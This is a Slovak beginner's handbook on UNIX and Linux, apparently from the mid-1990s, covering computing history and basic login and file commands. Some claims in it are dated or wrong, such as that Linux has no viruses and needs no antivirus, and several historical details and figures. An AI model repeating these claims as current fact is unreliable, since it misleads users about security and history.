Prirucka je zamerana na pouzivanie a udrzbu Linuxu - klonu UNIXu zdarma poskytovaneho neziskovou organizaciou Free Software Foundation. Pouzivatelska cast tejto prirucky (prve tri kapitoly a vsetky prilohy) plati pre akykolvek UNIXovy operacny system. Prirucka je preto urcena vsetkym zaciatocnikom v UNIXe. Kapitoly venujuce sa udrzbe Linuxu (kapitola IV az VI) sa tykaju Linuxu.
Stara kapitola V sa detailne zaobera instalaciou
Linuxu distribucie Slackware. Dnes je pohodlnejsie a bezpecnejsie
nainstalovat si distribuciu Debian
(http://www.debian.org) alebo od Debianu trochu slabsiu komercnu
distribuciu RedHat
(http://www.redhat.com).
Linux (R) je jeden z najlepsich operacnych systemov pre paralelne superpocitace ale aj pre pocitace triedy PC. Tato prirucka je koncipovana ako ucebnica zakladov Linuxu.
Citatel tejto prirucky by mal byt bez akychkolvek predoslych znalosti pocitacov schopny nainstalovat a pouzivat Linux a jeho nadstavbu X-window na osobnom pocitaci PC. Ucebnica zahrna instalaciu a systemovu udrzbu Linuxu ako aj pouzivanie Linuxu a UNIXu.
Prirucka obsahuje aj moje skromne osobne nazory a skusenosti a postupne zacinajuceho pouzivatela Linuxu uvedie do problematiky vsetkeho Linuxovskeho. Niektore udaje budu spociatku nepresne, aby som citatela nezahltil informaciami, budu vsak postacujuce pre danu kapitolu. Ako budete citat knihu dalej, postupne sa dozviete stale presnejsie a detailnejsie udaje o Linuxe a pochopite, ze je to naozaj jeden z najlepsich operacnych systemov vobec.
Rad uvitam vsetky poznamky k prirucke ako aj navrhy na jej vylepsenie ci zahrnutie niektorych dalsich kapitol. Ktokolvek chce, moze k nej pridat lubovolne mnozstvo kapitol a poslat mi ich elektronickou postou na e-mail adresu
Spravnost udajov si najprv preverim a zaradim ich do prirucky aj s uvedenim autora kapitoly.
Stroje ludom vyrazne ulahcuju fyzicku pracu, avsak su silne zavisle na cloveku prave preto, ze nedokazu uvazovat a sami sa rozhodovat. Pocitac, na rozdiel od klasickych vyrobnych strojov,cloveku ulahcuje dusevnu pracu a je schopny spravat sa aspon ciastocne inteligentne. Dokaze zastupit cloveka v mnohych dusevnych cinnostiach. Interakcia clovek - stroj sa v dnesnych casoch meni na vztah clovek - pocitac - stroj. Pocitace mozu ovladat stroje a vyrobne zariadenia. Automatizovane vyrobne systemy schopne dlhodobej samostatnej cinnosti uz davno nie su utopiou sci-fi romanov.
S pocitacom pridete (aj ked nepriamo) do styku nielen ked si rezervujete letenku ci kupujete listok na vlak, ked idete na EKG ci rontgenove vysetrenie. Dnes Vam uz aj rozbor krvi urobi pocitac - a ovela presnejsie ako clovek. Predpoved pocasia a satelitne vysielanie su tiez mozne len za pomoci pocitaca. Pri ceste lietadlom ci lodou nad Vasou bezpecnostou bdie neunavny pocitac a aj let do kozmu je bez pocitaca prakticky nemozny. Ziadny vacsi podnik sa dnes nezaobide bez pocitacov. Mnozstvo ludi pocituje ako vyrazne ulahcenie a zvysenie svojho pracovneho vykonu moznost pouzivat pocitac, ktory je schopny v priebehu zlomkov sekundy vyhladat prislusnu kartoteku pacienta ci iny databazovy udaj; novinari, spisovatelia, grafici ci reklamni pracovnici su nadseni, ze celu svoju pracu maju pokope - nemusia tvorit vzdy od zaciatku - mozu pouzivat casti starsich verzii svojich rukopisov, co vyrazne skracuje dobu vytvarania noveho produktu. Vacsina modernych budov, mostov, aut, lietadiel, lodi, rychlovlakov, ale aj topanok, lyzi ci chemickych vyrobkov vznikla za pomoci pocitacov, ktore umoznili nielen velmi rychly navrh vyrobkov, ale aj pocitacovou simulaciou otestovat vlastnosti novych vyrobkov skor, nez boli vyrobene. Pociatocna investicia do pocitacov sa rychlo vracia v podobe zvyseneho vykonu celeho podniku a odhalovania chyb uz pocas vytvarania planov vyrobkov. Nakoniec, aj Vase digitalky v sebe skryvaju malicky pocitac.
Pomocou pocitaca sa vyriesili matematicke problemy, ktore nedavali spavat najvacsim geniom ludstva - Gaussovi, Eulerovi ci Maxwellovi. Spomenme napriklad problem osmich dam, ktore trebalo rozostavit na sachovnici tak, aby sa navzajom neohrozovali. Zdanlivo jednoduchy problem na svoje vyriesenie potrebuje odskusat tak obrovske mnozstvo kombinacii figurok, ze ani Gauss, jeden z najvacsich geniov ludstva, ho nedokazal vyriesit. Vyskusat miliony kombinacii jednoducho nie je v silach cloveka. Dnesny pocitac PC je schopny vyriesit tento problem za jedinu sekundu.
Prvy pouzitelny elektronicky pocitac vznikol pre potreby americkej armady pred priblizne 50 rokmi. Jeho vykon bol na urovni dnesnych kalkulaciek. Vstupne udaje zadaval programator prepinanim pacok. Vysledky vypoctov pocitac zobrazoval pomocou rozsvecovania ziaroviek. Jeho autori stravili vacsinu dna vymienanim rychlo sa kaziacich elektronok. Tieto prve pocitace vazili mnoho ton a zaberali cele miestnosti. Dostali preto nazov salove pocitace.
Nasledujuca generacia pocitacov uz bola schopna prijimat vstupy z diernych stitkov a vystup vytlacit na tlaciarni v pre cloveka citatelnej podobe. Ake vstupy pocitac dostaval ? Urcite ste uz mali v ruke kalkulacku - vstupnym zariadenim je na nej klavesnica a vystupnym display. Stlacanim klaves na klavesnici teda zadavate vstup - cisla a znaky matematickych operacii, ktore nad cislami treba vykonat. Kalkulacka, ktora je v skutocnosti tiez malym pocitacom, danu operaciu nad zadanymi cislami vykona a jej vysledok zobrazi na displayi - vystupnom zariadeni. Druha generacia pocitacov uz umoznovala pomocou diernych stitkov zadavat nielen data, ale aj programy - subory instrukcii, ktore ma pocitac vykonat. Ich ucinok je podobny ako keby sme stlacali na klavesnici kalkulacky tlacitka matematickych funkcii. Pocitac si udaje i program zapamatal, mal teda urcitu pamat. Potom bolo potrebne pocitacu prikazat, aby zacal pocitat a procesor - mozog pocitaca - zacal program citat z pamati a vykonavat ho a choval sa podla neho - nacitaval udaje z pamati a vykonaval nad nimi jednotlive operacie. Bolo to ovela rychlejsie, ako keby sa len stlacali tlacidla s instrukciami.
Zial, zadavanie udajov aj programov bolo velmi pracne. Po vypnuti pocitac vsetko zabudol. No ktosi prisiel s myslienkou ukladat programy aj udaje na magneticku pasku podobnu magnetofonovej paske. Stalo sa a dosiahla sa vysoka rychlost. Nacitanie udajov i programov z pasky do pamate bolo asi 1000-krat rychlejsie ako pomocou diernych stitkov, ktore bolo potrebne rucne vkladat do citaca diernych stitkov.
Neskor sa zacali vyrabat pevne disky - kotuce, skladajuce sa z platni pokrytych magnetickou vrstvou. Urcite poznate gramofon. Disky vyuzivaju priblizne ten isty princip, ale nemaju mechanicke drazky, v ktorych by sa pohybovala ihla. Namiesto ihly pouzivaju magneticke hlavicky. Na disku su ulozene informacie o tom, kde sa na nom nachadzaju subory informacii. Kazdy subor ma nazov, podla ktoreho sa da identifikovat a telo - su to samotne udaje. Napriklad tato prirucka ma nazov Sysadmin.html a jej telom je samotny text, ktory teraz citate.
Disky sa skladaju z viacerych kotucov podobnych gramofonovym platniam. Nad a pod kazdym kotucom sa na vzduchovom vankusi, ktory vznika rychlou rotaciou disku, vznasa citacia a zapisovacia (zaznamova) magneticka hlava. Magneticke hlavy sa dokazu velmi rychlo vystavit na jednotlive drazky na prislusnych magnetickych kotucoch (vsetky hlavy sa pohybuju sucasne). Ak potrebujeme informaciu z konca magnetickej pasky a paska je previnuta na zaciatok, trva takmer minutu, kym sa paska pretoci do polohy, v ktorej sa nachadza prislusny subor. Az potom mozeme zacat informaciu nacitavat do pocitaca. Pristupova doba magnetickeho disku, ktoremu casto hovorime pevny disk, je cas potrebny na presun magnetickej hlavy na prislusnu stopu, t.j. drazku na disku je u sucasnych pevnych diskov je priblizne stotina sekundy.
Magneticke disky priniesli az 1 000 000 nasobne urychlenie nacitania udajov a programov v porovnani s diernymi stitkami a diernymi paskami. Avsak vstup cloveka, napriklad vyroba noveho programu ci zadanie novych udajov, je stale potrebny. Dierkovat dierne stitky bolo velmi zdlhave, a tak pocitacovi geniovia prisli s napadom pouzit na vstup v telekomunikaciach vtedy uz dost rozsirene dalekopisne stroje. Na dialnopise bolo mozne pomocou mechanicko-elektronickej klavesnice zadavat udaje. Dialnopis mohol zaroven aj vytlacit vysledok vypoctu.
Prve pocitace boli velmi drahe a zaberali cele miestnosti. Dialnopis umoznoval pripojit sa k pocitacu pomocou obycajneho telefonu. Mohli ste pomocou neho zatelefonovat z Berlina na pocitac do New Yorku, zadat udaje a pocitac v New Yorku Vam na Vasom dalekopise vytlacil vysledok. Velmi rychly vyvoj pocitacov sposobil take zvysenie ich rychlosti, ze boli schopne davat vysledky v realnom case. Uz ste nemuseli odovzdat dierne stitky pracovnikom ustavu vypoctovej techniky a tyzden cakat na odpoved - udaje ste zadavat priamo.
Pocitace vsak boli drahe. Mohli si ich dovolit len vojenske organizacie a niekolko velmi velkych firiem. Mali stale vacsiu kapacitu pamate, stale rychlejsi procesor a stale vacsiu kapacitu magnetickych diskov. Bol tu vsak jeden problem. Pocitac bol schopny vykonavat naraz iba jednu cinnost. No objavil sa napad, ako zlepsit vyuzitie pocitacov - umoznit, aby na nich pracovalo viac ludi sucasne - aby vykonaval viacero programov naraz. Ako moze jeden procesor v pocitaci vykonavat viac programov sucasne ? Moze vykonavat chvilu program jedneho cloveka, chvilu program druheho cloveka atd. Ak budu tieto chvilky velmi male, jednotlivi pouzivatelia nepostrehnu, ze pocitac pracuje aj pre niekoho ineho. Ale je tu problem. Co ak niekto urobi chybny program a ten vymaze vsetky subory na disku ? Alebo co ak uplne zbytocne ( a mozno aj schvalne ) vytlaci velmi velky subor na dialnopise niekoho ineho ? A nakoniec, co ak sa niekto dostane k tajnym informaciam ulozenym na disku vojenskou organizaciou vlastniacou pocitac ?
Problem sa vyriesil tak, ze na pocitaci bezal program (v beznej reci nehovorime, ze pocitac vykonava program, ale ze program bezi na pocitaci), ktory spravoval hardware pocitaca - jeho disky, pripojene dalekopisy a magneticke pasky. Ked chcel pouzivatelsky program vymazat cosi z disku, nemohol to urobit priamo (procesor by mu to nedovolil), ale musel poziadat, aby to zanho urobil specialny program, ktory sa staral o hardware. Ten skontroloval, ci ma pouzivatel na vymazanie suboru pravo, (okrem nazvu suboru a jeho obsahu bolo na disku potrebne udrziavat i niektore dalsie informacie - komu subor patri, aky je velky, kedy bol vytvoreny atd.) a ak ho nemal, odmietol ho vymazat. Tento program teda umoznoval pouzivatelom zdielat hardware, ale aj strojovy cas. Pocitac s takymto programom sa nazyva system zdielania casu. Kedze tento program operoval priamo s hardwareom pocitaca, dostal nazov operacny system. Jeho uplny nazov je univerzalny operacny system zdielania strojoveho casu pocitaca, pricom slovo univerzalny znamena, ze vie naraz vykonavat mnozstvo roznych ale aj rovnakych programov.
Prisiel vsak dalsi boom povodne vyvinuty v AT&T, firme, ktora neskor vyvinula prvy UNIX - tranzistory. Pocitace sa z velkej miery skladali z elektronok, odporov a kondenzatorov. Tieto suciastky boli velke a mali znacny odber prudu. Hlavny odber prudu mali elektronky, ktore bolo potrebne zeravit (predhrievat, zhavit). Tranzistory boli omnoho mensie a dokazali zastupit funkcie vsetkych spomenutych suciastok. Rozmery novych pocitacov vyuzivajucich tranzistorovu technologiu sa vyrazne znizili a ich ceny a odber prudu prudko poklesli. Vacsie firmy si ich mohli dovolit kupovat do jednotlivych oddeleni. Tento typ pocitaca pre jeho mensie rozmery nazyvame minipocitac. Minipocitace neboli menej vykonne ako salove pocitace. Pouzivatelia uz nepripajali svoje dalekopisy k pocitacu cez telefonne linky a nemuseli tak platit telefonne tarify, ale pripajali ich priamo kablom. Nastala potreba komunikacie medzi pocitacmi v jednej firme. Vznikli tak prve lokalne pocitacove siete - LAN (Local Area Network). Kedze predsa bolo potrebne pripajat sa z jednej firmy do druhej (vacsinou uz nie priamo pomocou dalekopisu, ale pripojit jeden pocitac alebo celu pocitacovu siet k druhemu pocitacu ci celej pocitacovej sieti vtedy este po telefonnych linkach) - vznikli globalne pocitacove siete - WAN (Wide Area Network).
A prave vtedy, v dobe celosvetoveho boomu minipocitacov, v case pouzivania dalekopisov ako terminalov (terminal je akekolvek zariadenie umoznujuce komunikaciu okolia s pocitacom) a v dobe obrovskeho rozmachu pocitacovych sieti vznikol UNIX - najlepsi operacny system na svete.
Zakladny vyzkum Bell Laboratories sa tyka komunikacii, pocitacov, fyziky a matematiky. Prave ked v roku 1969 ustupili od vyvoja univerzalneho operacneho systemu zdielania casu, prisiel ich zamestnanec Ken Thompson s myslienkou vytvorit naozaj vseobecne pouzitelny operacny system.
Pisaniu programov hovorime programovanie. V dobach prvych pocitacov sa programovalo priamo. Instrukcie sa pisali presne, napriklad ktory udaj sa ma z ktorej casti operacnej pamati pocitaca ( to je ta pamat, ktora sa vypnutim pocitaca vymaze; disku niekedy hovorime diskova pamat - ta je dlhodoba, po vypnuti pocitaca si obsah zachova ) ma vybrat udaj a nakopirovat do registra ( toto vsetko robi procesor, a ten obsahuje specialnu pamat - registre - oddelenu od operacnej pamati; prave nad registrami procesor robi vypocty a vysledky kopiruje opat do operacnej pamate - vacsinu casu teda len presuva udaje medzi registrami a pamatou, resp. diskom ), co s nim urobit a kam ulozit vysledok. Operacny system schopny vykonavat naraz viac programov nemohol dopredu vediet, v ktorej casti pamati ktory program spustime. Preto bol vymysleny procesor schopny adresovat instrukcie aj data symbolicky ( presne adresy urcil az operacny system, ktory program zaviedol do pamati ) a aj prvy programatorsky jazyk - jazyk symbolickych adries nazyvany ASSEMBLER. Pouzitie assembleru bolo ovela rychlejsie a citatelnejsie ako priame programovanie. Program napisany v assembleri uz nebola zmes cisel, ale clovekom citatelny zapis. Napriklad instrukcia presunu obsahu registra B do registra A vyzerala asi takto
mov a, b
co bolo ovela citatelnejsie. Pocitac tomuto zapisu nerozumel - ale stacilo vytvorit specialny program pomocou priameho programovania, ktory dokazal program z jazyka symbolickych adries prelozit do strojoveho jazyka - zmesi cisel, ktorej rozumie pocitac. Tento program sa nazyva compiler ( kompilator, prekladac ).
V roku 1969 Ken Thompson, vtedy 27 rocny pracovnik Bell Laboratories, zacal tajne programovat novy univerzalny operacny system zdielania strojoveho casu UNIX v ASSEMBLERI na minipocitaci PDP-11 firmy DEC. Uz o dva roky neskor tento system vykazoval velmi dobre charakteristiky a bol plne funkcny. Dennis Ritchie medzitym vymyslel jazyk C, ovela lepsi ako assembler. Kazdy pocitac ma svoj vlastny assembler a vlastnu sadu prikazov. Jazyk C umoznuje od tejto sady procesorovych prikazov abstrahovat ( hovorime jej instrukcna sada procesora ) a pisat programy cloveku este zrozumitelnejsie. Napriklad vypocet 3+2 v assembleri mohol vyzerat takto
mov a,3 mov b,2 add a,bzatial co v jazyku C stacilo napisat
a = 3+2;Programy nie je mozne prenasat z jedneho pocitaca na druhy a na nom spustat. Jednotlive typy procesorov jednotlive instrukcie interpretuju inac - vysledkom by bolo nezmyselne chovanie programov ( pocitace s rovnakou sadou a kodovanim instrukcii ( kodovanie instrukcii je priradenie ciselnych kombinacii jednotlivym instrukciam ) toto obmedzenie nemaju, nazyvame ich vzajomne kompatibilne ). Nie je mozne prenasat ani zdrojove texty programov ( neprelozene programy ) v assembleri, pretoze kazdy procesor ma svoj assembler. Oproti tomu programy pisane v jazyku C je mozne preniest, len je potrebne prelozit ich na hostitelskom pocitaci. Je to nesmierna vyhoda jazyka C oproti assembleru.
Ken Thompson v roku 1973 prepisal operacny system UNIX do jazyka C a tym umoznil jeho prenos na lubovolny pocitac. Odteraz bolo mozne kazdy program pisat rychlo a kvalitne - v jazyku C. A hlavne, nebolo potrebne vzdy znovu a znovu pisat program s tymi istymi funkciami pre rozne pocitace. Jedinou podmienkou prenositelnosti programov na zdrojovej urovni, t.j. na urovni zdrojovych textov, bolo to, aby na danom stroji bezal operacny system UNIX a prekladac jazyka C.
UNIX bol preneseny na takmer VSETKY pocitace na svete.
V roku 1981 firma IBM dodala na trh pocitac PC - Personal Computer = osobny pocitac s jednym univerzalnym procesorom. Bol malo vykonny, ale mal taku nizku cenu, ze umoznoval, aby mal kazdy pracovnik vlastny pocitac. Tento typ pocitaca sa stal vdaka svojej cene najrozsirenejsim na svete. Jeho parametre sa stale zdokonalovali a cena klesala, avsak vylepsene mikroprocesory (mikroprocesory su procesory, ktore sa zmestia na jedinu dosticku, jediny cip) mu boli nanic, kedze firma Microsoft, dodavajuca operacny system pre PC zvany MS-DOS, vyrobila operacny system, ktory nebol schopny vyuzit viac ako 640 KB operacnej pamati. (1 KB = kilo byte je 1024 byteov, 1 byte je taka cast pamati, do ktorej sa zmesti prave jeden znak.) Kedze pamat bola stale vacsia - niekolko MB (1 MB = mega byte = 1024 KB), hladali sa rozne obchvatne manevre, ako ju vyuzit, avsak zakladny problem ostaval. Hlavnym nedostatkom MS-DOSu bola neschopnost spustat viac programov naraz. Preto firma Microsoft Corporation vyvinula rozne verzie Microsoft Windows, grafickej nadstavby operacneho systemu MS-DOS, ktora sa neskor osamostatnila ako samostatny operacny system pod nazvom MICROSOFT WINDOWS NT (NT znamena New Technology - nova technologia). V spolupraci s firmou IBM vytvorila firma Microsoft Corporation velmi kvalitny operacny system OS/2 (OS = Operating System = operacny system, 2 = INTEL 80286 microprocessor), vraj lepsi ako MS Windows NT. Microsoft Windows aj OS/2 umoznuju beh viacerych programov naraz, OS/2 je vykonnejsi a stabilnejsi system, avsak vdaka reklame Microsoftu vyhral Microsoft DOS a Microsoft Windows. Ich celosvetovy uspech ( napriek nedokonalosti MS DOSu a obrovskej spotreby pamate systemu Microsoft Windows NT ) vyniesol majitela firmy Microsoft Corporation, Billa Gatesa, do vysav. Dnes je to jeden z najbohatsich muzov na svete. Jeho majetok a cenne papiere v roku 1996 bol ohodnoteny na 12 bilionov dolarov. No nielen on si na predaji softwareu pre PC napchal vrecka, aj mnohe dalsie firmy zbohatli na naivnych pouzivateloch. ( Hardware je technicka cast pocitaca, napriklad procesor, software je "duchovna" cast pocitaca - programy. Vztah hardware - software u pocitacov by sme mohli prirovnat k televizoru. Televizor ( hardware ) je bez programu ( software ) len nepouzitelnou mrtvou hmotou. )
Zakladny problem bol v tom, ze kedze sa na pocitacoch PC nepouzival operacny system UNIX, zdrojove texty neboli prenositelne na ine pocitace a naopak. Ked uz boli parametre pocitacov PC na takej urovni, ze na nich mohol bezat UNIX, vzniklo niekolko pokusov o implementaciu UNIXu na PC - napriklad XENIX od firmy Microsoft, MINIX a ine.
Zda sa Vam divne, ze nepouzivali nazov UNIX ? Vlastnikom prav na UNIX je AT&T, preto tento nazov smu pouzivat len oni. Okrem AT&T smie nazov UNIX pouzivat len univerzita v Berkeley, ktora pod nazvom BSD UNIX ( BSD = Berkeley Software Distribution ) dodava UNIX pre univerzity.
Vytvorit takyto system pre PC sa pokusali aj dalsie firmy - Amdahl, IBM, ale aj AT&T a ine. Vsetky tieto systemy boli neporovnatelne slabsej kvality ako standardny UNIX a ich rozsireniu branila vysoka cena. Kvalitny PC kompatibilny pocitac ( tak sa nazyvaju pocitace od inych firiem, nez IBM, ale schopne spustat rovnake programy; su to binarne kompatibilne pocitace - pocitace kompatibilne na urovni strojoveho kodu ) stoji 15000 USD. Rovnaku sumu zaplatite za UNIX od AT&T.
Linus Torvalds zacal v roku 1991 na univerzite v Helsinkach vo Finsku vyvijat svoj vlastny UNIXovy operacny system s cielom urobit aspon taky dobry system, akym je MINIX. Ked dal v roku 1992 k dispozicii novy UNIX pod nazvom LINUX ( zjavne akronym LINu's UniX ), ukazalo sa, ze je este lepsi nez MINIX - a hlavne bezi na nom akykolvek program napisany pre ine UNIXove superpocitace - len ho treba prelozit z jazyka C do strojoveho jazyka. A to nebol problem - Linus pod Linux preniesol velmi kvalitny prekladac jazyka C. Linus vytvoril vlastny system. Zopakoval tak situaciu spred dvadsiatich rokov, kedy vznikol prevy UNIX - AT&T UNIX.
Hlavnou vyhodou Linuxu je to, ze od zaciatku je dodavany zadarmo. To umoznilo jeho rozsirenie a mnozstvo ludi na celom svete si ho nainstalovalo na svoje PC. Mnohi programatori pomocou celosvetovej siete INTERNET spojili svoje sily a tak sa novy operacny system zacal dramaticky vylepsovat. Je to jediny operacny system, ktory nevytvorila nejaka firma, ale programatori celeho sveta. Obrovske mnozstvo programatorov ako aj rychle reakcie na poziadavky pouzivatelov sposobili, ze sa z Linuxu, povodne maleho systemu, vyvinul jeden z najlepsich operacnych systemov pre PC.
Pouzivatelia Linuxu a programatori celeho sveta sa tesia na stale novsie verzie tohto operacneho systemu. A samotni vyvojari zasielaju zdrojove texty novych vylepseni priamo Linusovi Torvaldsovi, on ich kontroluje, implementuje do jadra ( zakladnej casti operacneho systemu ) a aj sam jadro neustale vylepsuje - a tak je Linux neustale kvalitnejsi.
Zatial co komercne systemy vyvijala hrstka odbornikov za siedmimi zamkami, Linus dodal zdrojove texty jadra celemu svetu a tak je Linux dielom programatorov celeho sveta. Jeho vyvoj prebieha omnoho rychlejsie ako vyvoj inych komercnych systemov.
Linux je dodavany zadarmo, avsak Linus nebrani tomu, aby ho hociktora firma predavala napriklad na CD-ROM. Najlepsie je stiahnut si instalacne diskety zo superpocitaca sunsite.unc.edu pomocou siete INTERNET. Avsak nie kazdy ma tuto moznost, preto je povolenie predaja Linuxu dolezite. Instalacii existuje cela kopa - instalacne diskety robia rozni ludia na celom svete - kazdy vyraba svoju distribuciu a umiestnuje na nich programy podla svojho uvazenia. Za najvydarenejsie sa povazuju distribucie Linux Debian, Linux Red Hat a Linux Slackware.
Niekedy je k dispozicii uz aj beta verzia. (Ked vyrobite program, je to alfa verzia. Ked v nom opravite chyby, ktore zistite az po urcitom case a odskusaju ju aj ostatni pouzivatelia pracujuci na roznych pocitacoch od roznych vyrobcov a najdu chyby, nemusite ich stihnut opravit - date k dispozicii sice plne funkcny, ale nekompletny program - beta verziu. Az ked je program kompletny a nik nenasiel ziadnu chybu, je to konecna verzia [final version]. Zdaleka to vsak neznamena, ze v nom nejaka skryta chyba nemoze byt. kazdy operacny system obsahuje chyby. Aj Linux. Avsak neobsahuje ich viac ako ine verzie UNIXu. Jeho hlavna sila spociva totiz v jeho kvalite.)
Linux je jeden z prvych operacnych systemov, ktory mal uz v roku 1996 zabudovanu podporu systemu JAVA. Je to plne 32 bitovy operacny system dokonale vyuzivajuci hardware pocitaca a aj schopnosti ochrany ponukane PC procesormi. Plne vyuziva pamat pocitaca, ma NAJLEPSI multitasking ( schopnost behu viacerych programov naraz - task = uloha, multi = vela ) spomedzi vsetkych operacnych systemov urcenych pre PC a je schopny pouzivat virtualnu pamat ( dokaze presuvat momentalne nepotrebne casti programov na disk v pripade, ze operacna pamat svojou kapacitou nestaci - tomuto presuvaniu sa hovori swapovanie ). Spotrebuje omnoho menej pamate ako napriklad Windows NT ci OS/2.
Linux je vsak velmi nesympaticky system, pokial nemate sajnu ze disketa je /dev/fd0, ale aj preto, ze mnohi dodavatelia hardwareu nezverejnuju to, ako napisat ovladac pre ich zariadenia. ( Ovladac je specialny program umoznujuci komunikovat jadru operacneho systemu s hardwareom pomocou vseobecnych prikazov. )
Je to smola - Linux je oficialne zadarmo, a jeho tvorcovia nemozu licencie kupovat a samotni vyrobcovia hardwareu vacsinou ziaden UNIX ani nepodporuju. Preto je velmi tazke napriklad nakonfigurovat (pripravit na pracu) nestandardnu graficku kartu pod X-window. Vseobecne plati: cim starsiu verziu Linuxu mate, tym to pre Vas bude tazsie. Ak teda nestiahnete z INTERNETu najnovsiu verziu, ale kupite si Linux na CD-ROM, mozete dostat natolko staru verziu, ze Vasu novu mechaniku CD-ROM ani nerozpozna !
Linux vyvinuli programatori sami pre seba - vyzaduje preto niekedy hacking - nie vsak v zmysle vlamovania sa do pocitacovych systemov. V Linuxe je hacker clovek, ktory perfektne rozumie operacnemu systemu.
Nenechajte sa vystrasit predoslym popisom diskety, Linux sice nie je taky jednoduchy operacny system, ako MS-DOS, ma vsak velmi priehladnu strukturu. Ak sa naucite UNIXovsky mysliet, bude pre Vas omnoho prijemnejsi nez MS-DOS. A hlavne PC + LINUX = Graphics Workstation = graficka pracovna stanica, ktorej vykon je porovnatelny s kvalitnymi minipocitacmi ! Linux umoznuje vsetko, co ostatne UNIXove systemy - pripojenie inych pocitacov a viacerych terminalov na jediny pocitac, sietovanie s TCP/IP protokolmi atd. Mnoho programatorov vyrabajucich aplikacie pre velke systemy, doma pouzivaju PC s Linuxom ako lacnu alternativu velkych systemov. Vyrobia aplikaciu doma pod Linuxom, zdrojaky (zdrojove texty) prenesu na superpocitac v praci, prelozia - a aplikacia bezi ! Autor tejto prirucky takto vyraba programy vyuzivajuce principy umelej inteligencie pisane v jazyku PROLOG. Dnesny vykon PC hlavne v grafike je mnohokrat lepsi nez napriklad u niekolkorocnych pocitacov firmy SUN Corporation.
A nakoniec - Linux nepozna pojem virus. Nepotrebujete antivirove programy.
Kedze ste sa s UNIXom stretli len obcas (resp. vobec) a o detailoch okolo instalacie mate len hmlistu predstavu - a kedze ani skusenemu pouzivatelovi nemusi prva instalacia Linuxu prebehnut hladko, napisal som pre Vas tuto prirucku. Po jej prestudovani by mal byt kazdy schopny Linux nainstalovat, udrzovat a pouzivat. Ak ju precitate celu, ziskate schopnosti UNIXovskeho administratora, a ak ovladate anglictinu, budete dalej schopni pracovat s lubovolnym UNIXom na urovni pouzivatela aj administratora len s pomocou originalnej literatury.
Pretoze prv, nez zacneme hovorit o instalacii, je potrebna aspon minimalna skusenost prace s lubovolnym UNIXom, zacneme nevyhnutnym minimom.
V UNIXe kazdemu beziacemu programu hovorime proces. Kazdy proces moze spustit iny program - iny proces, pricom ma 3 moznosti. Moze nezavisle na spustenom programe pokracovat vo svojej cinnosti, moze ukoncit svoju cinnost alebo moze pockat, kym spusteny program neukonci svoju cinnost (volanim funkcie wait (=cakaj) jadra UNIXu).
Na zaciatku sedenia ( tak sa oznacuje praca pouzivatela so systemom ) system ocakava vase meno - v UNIXovej terminologii Vas login (log in = prihlas do systemu). UNIX sa musi branit proti votrelcom. Ak na nom chcete robit, musite mat na nom svoj login - meno, ktorym Vas system identifikuje. Namiesto slova login sa v slovenskom jazyku mozeme stretnut i s vyrazom "ucet". Urcita forma ochrany systemu v podobe uctov sa vyskytuje na mnohych systemoch - Windows_NT, UNIX a jeho klony, Nowell Netware apod. Na systeme moze pracovat znacne mnozstvo ludi. Aby si navzajom nevymazavali subory, boli zavedene urcite prava. Obycajny pouzivatel napriklad nemoze vymazat systemove subory, ale ani ich menit. Jediny pouzivatel, ktory moze vsetko, je root - spravca systemu. Prave on Vam zriadi login a umozni Vam prihlasit sa do systemu.
Na zaciatku vasej prace uvidite podobnu hlasku
Welcome to Linux 2.0.0.
login:Musite napisat vase meno. Moja obrazovka bude vyzerat takto:
Welcome to Linux 2.0.0
login: milan Password:System ocakava moje heslo. Heslo sa na obrazovke pri pisani nezobrazuje, aby ho pripadny zaujemca "neodpozeral". Heslo nikomu neprezradzujte, mohli by ste sa dostat do problemov. Ak zadate chybne heslo alebo ak na systeme nemate login, Linux vas odmietne
Welcome to Linux 2.0.0
login: milan Password: Login incorrect
login:a novou vyzvou caka na Vase prihlasenie. Teraz uz napisme spravne heslo
Welcome to Linux 2.0.0
login: milan Password: Login incorrect
login: milan Password:
Last login: Sat Sep 14 23:59:16 on tty2 Linux 2.0.0. You have new mail $System mi v troch riadkoch vypisal, kedy som sa naposledy prihlasil, na ktorom terminali ( tty2 oznacuje terminal 2 ), verziu jadra Linuxu a oznam, ze som dostal od niekoho spravu - elektronicku postu. Ako si ju precitat, uvediem neskor.
Sedenie mozem kedykolvek ukoncit jednym z prikazov ( znak $ vypisuje shell, nie ja )
$ exit $ logout $ Ctrl-DNapisat Ctrl-D znamena stlacit klavesu Ctrl, podrzat ju a stlacit klavesu oznacenu pismenkom d.
Program (a)getty, ktory ma sprevadzal pocas prihlasovania, teraz spusti shell a sam ukonci svoju cinnost. Shell je program, ktory interpretuje moje prikazy. Ze je pripraveny na moje prikazy mi oznamil znakom $.
Situacia teraz vyzera takto:
Ja Shell Jadro Linuxu Ovladace Hardware
Procesy Jadro Hardware
Uplne meno suboru je dane celou cestou z korenoveho adresara k suboru. Cestou tu myslim vymenovanie vsetkych adresarov, ktore treba prejst, kym sa dostaneme z korenoveho adresara k suboru. Aby ste to lepsie pochopili, uvediem priklad. Predstavme si fiktivny suborovy strom ( strom systemu suborov )
/ ( root ) |----adresar1 |-----subor1 |-----subor2 |----adresar2 |----adresar3kde root ( korenovy adresar oznacujeme znakom lomitko / ) obsahuje tri adresare: adresar1, adresar2 a adresar3. Adresar adresar1 obsahuje 2 subory s nazvami subor1 a subor2. Mozeme si dat vypisat obsah adresara prikazom ls ( list )
ls meno_adresara
System vypisuje vyzvu - ocakavanie prikazu. To nam umoznuje v prikladoch odlisit, co pise pouzivatel a co pise system. Pouzivatel pise tie riadky, ktore zacinaju znakom dolar $ - tento znak vypise system a ocakava prikaz.
Vypisme si teda obsah hlavneho adresara:
$ ls /
adresar1 adresar2 adresar3 $System napisal $, cim oznamil, ze caka na prikaz, my sme napisali ls / a system spustil prikaz ls s parametrom /. Prikaz ls vypisal obsah adresara /. A system opat vypisal vyzvu $.
Prave sme sa naucili spustat programy. Staci jednoducho napisat ich meno a pripadne parametre. Nas prikaz mal nazov ls a parameter /.
Prikaz cd ( change directory = zmen pracovny adresar ) umoznuje zmenit pracovny adresar. Mozeme teda "vojst" do adresara. Priklad:
$ cd /adresar1 $vosli sme do adresara adresar1. Uz vieme, ze jeho obsah si mozeme vypisat prikazom ls. Mame dve moznosti:
$ ls /adresar1
subor1 subor2 $alebo staci napisat ls
$ ls
subor1 subor2 $Teda pracovny adresar je ten, v ktorom prave sme. Umoznuje nam priamo adresovat subory a adresare v nom.
Ak si chceme vypisat obsah suboru subor1 v adresari /adresar1, mozeme napisat
$ more /adresar1/subor1
